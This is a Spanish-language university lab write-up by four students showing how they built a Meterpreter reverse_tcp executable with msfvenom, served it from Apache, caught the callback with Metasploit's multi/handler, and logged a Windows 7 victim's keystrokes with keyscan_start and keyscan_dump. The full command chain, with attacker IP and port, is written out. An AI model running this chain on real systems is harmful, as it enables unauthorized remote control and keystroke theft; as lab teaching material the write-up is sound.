Trabajo creación de un virus realizado por
Diego Maya Perea (2205754), Alisson Tobar Ariza (2205143),
Simón David Colmenares Sánchez (2205235) y Julián David Velásquez Patiño (2205142).

Un malware es un software malicioso diseñado con intenciones de dañar, comprometer o tomar control de un sistema informático sin el consentimiento del usuario. El malware puede manifestarse de diversas formas y con diferentes objetivos, pero todos comparten la característica de ser perjudiciales para la seguridad y la integridad de los sistemas informáticos. Hay varios tipos de malware como virus, troyanos, spywares, adware, rasonware entre otros. En este trabajo hemos escogido la creación y ejecución de un virus.

Un virus es un archivo que ejecuta instrucciones en un ordenador. Estas instrucciones pueden ser buenas o malas dependiendo lo que traigan dentro. Cuando descargamos un programa ejecutable, este trae instrucciones para que se instale en el ordenador y corra en este. Estos archivos se consideran un virus cuando ejecutan instrucciones malas como borrar archivos, dañarlos, robar información sobre tu ordenador entre otras cosas.

Para este caso, utilizamos la creación de un virus ejecutable el cuál actúa como un keylogger en la máquina víctima. Lo realizamos desde una máquina origen Kali Linux e infectamos una máquina Windows 7. Utilizamos Kali Linux debido a que esta máquina es ampliamente utilizada para ejercicios de pentesting, auditoría de sistemas, ejecutar exploits, generar payloads y encoders entre otras cosas.

Un exploit es un programa diseñado y enfocado a explotar (aprovechar) un fallo, error o vulnerabilidad de un sistema (Software Informático), con el fin de ejecutar código en la máquina atacada y conseguir así el dominio de la misma o la conexión establecida entre máquinas. Un payload se refiere a la parte de datos o código que se envía a un sistema objetivo y que tiene como objetivo ejecutar acciones específicas en dicho sistema. En este caso, un tipo de puerta trasera llamada **reverse_tcp** el cuál la máquina víctima es la que hace el llamado para la conexión con la máquina atacante, donde esta escucha y se hace exitosa la conexión.

En este caso utilizamos el exploit /multi/handler, el cuál explota la vulnerabilidad de un sistema y obtener acceso no autorizado a este. Con este exploit generamos la conexión de la máquina Kali Linux con la máquina Windows 7. Montamos el archivo virus llamado seguridad.exe al servidor web apache, por lo que, después de explotar la vulnerabilidad en el servidor web, establecemos una conexión de vuelta (la máquina Windows 7 llama y la máquina Kali Linux escucha) utilizando un payload específico como lo es reverse_tcp. De esta manera el exploit quedará configurado para escuchar las conexiones entrantes de este tipo de payload. Una vez que el sistema comprometido se conecta al handler, los operadores de Metasploit pueden comenzar a interactuar con él para realizar acciones de post-explotación.

Utilizamos Metasploit Framework, que es una herramienta diseñada para el testeo y penetración de máquinas remotas o locales a través de exploits. Utilizamos dicha utilidad

para penetrar la máquina Windows 7. El framework es una plataforma avanzada de código abierto para el desarrollo, prueba y uso de código de exploits. Permite de una manera muy fácil hacer pruebas de penetración y vulnerabilidades, empleando una gran variedad de exploits. La herramienta, por ser de código abierto, tiene toda la especificación para desarrollo de plugins que permiten implementar exploits nuevos. También hicimos uso de Msfvenom, que es una combinación de Msfpayload y Msfencode, utilizadas para generar payloads y encoders. Estas herramientas son fundamentales para crear y ejecutar código que explota vulnerabilidades específicas encontradas durante las pruebas.

Taller demostrativo:

Primero verificamos que ambas máquinas estén conectadas a internet y tengan el NAT activo en el Virtual Box.

Después, vemos las ips correspondientes en cada máquina para así realizar el ataque/envenenamiento desde la máquina Kali Linux a la máquina Windows 7.

En este caso, las direcciones ips usadas fueron:

Kali Linux: 192.168.0.4 (ifconfig)

Windows 7: 192.168.0.6 (ipconfig)

Pasamos a la creación del virus desde la máquina Kali Linux, insertando el comando:

msfvenom -p Windows/meterpreter/reverse_tcp lhost=192.168.0.4 lport=4444 -f exe > seguridad.

Este comando genera un payload malicioso con la utilidad de Metasploit llamada msfvenom basado en Meterpreter, que es un Shell interactivo avanzado utilizado por Metasploit para controlar sistemas comprometidos. Luego, se establece una conexión de reverse TCP al host especificado del atacante (192.168.0.4) donde se ejecutará el exploit/multi/handler para recibir la conexión de vuelta y lo hace a través del puerto 4444 para escuchar las peticiones de vuelta. Después, se guarda este payload en un archivo ejecutable de Windows llamado seguridad.exe. Este archivo seguridad.exe es el que utilizamos para el ataque como parte del exploit para comprometer el sistema Windows e inyectar el virus.

Después, verificamos que tengamos creado el archivo en nuestro directorio y lo enviamos a la ruta pública del servicio web para después abrir la página de Windows y después descargarlo

y ejecutarlo para establecer la conexión.

Usamos el comando:

cp seguridad.exe /var/www/html

Que es la ruta pública del sitio web. Reiniciamos el sistema apache para conectarnos a la ip de Windows. Reiniciamos con el comando:

systemctl restart apache2

Ahora levantamos la consola para que cuando se ejecute el malware en Windows, nuestra máquina Kali Linux esté escuchando. Esto lo hacemos con el siguiente comando para usar Metasploit:

msfconsole

Utilizamos el siguiente comando para poder usar el exploit:

use exploit/multi/handler

Después ponemos el comando para levantar el payload de reverse_tcp:

set payload Windows/meterpreter/reverse_tcp

Por último, ponemos la ip de la máquina origen Kali Linux con el comando:

set lhost 192.168.0.4

Ahora ponemos el comando para que empiece a escuchar y revisar la solicitud del virus cuando alguien lo ejecute, en este caso la máquina Windows 7. Iniciamos el ataque y esperamos la conexión:

exploit

Como estamos usando apache, nos dirigimos a la máquina Windows 7 y en esta ponemos en el explorador la dirección ip de la máquina Kali Linux y nos redirige a una página de apache y podemos comprobar que este servicio funciona. Después, ponemos la dirección ip de la

máquina Kali Linux /seguridad.exe y nos descarga el archivo que creamos y montamos al servidor web. Lo ejecutamos y no pasará nada para la víctima, pero en la máquina Kali, se habrá hecho correcta la conexión con la máquina.

Finalmente, para capturar el tráfico y el teclado, como un keylogger, usamos una utilidad que tiene Metasploit para hacerlo a través del archivo seguridad.exe, que fue el virus que creamos y por el cuál hará la instrucción maliciosa que se le ha dado. Utilizamos el comando:

keyscan_start

Empezará a capturar todo el tráfico de la máquina Windows7 en la terminal Metasploit de la máquina Kali Linux.

Finalmente, para ver lo que se escribió y se capturó en la máquina Windows 7, y lo muestre en nuestra máquina Kali Linux, utilizamos el comando:

keyscan_dump

Vemos que capturará todo lo que se escribió en la máquina víctima Windows 7.

Link del video demostrativo:
https://drive.google.com/file/d/19Xgyqps1zmQylhMBfaW7J_lw6_Rgl7-c/view?usp=sharing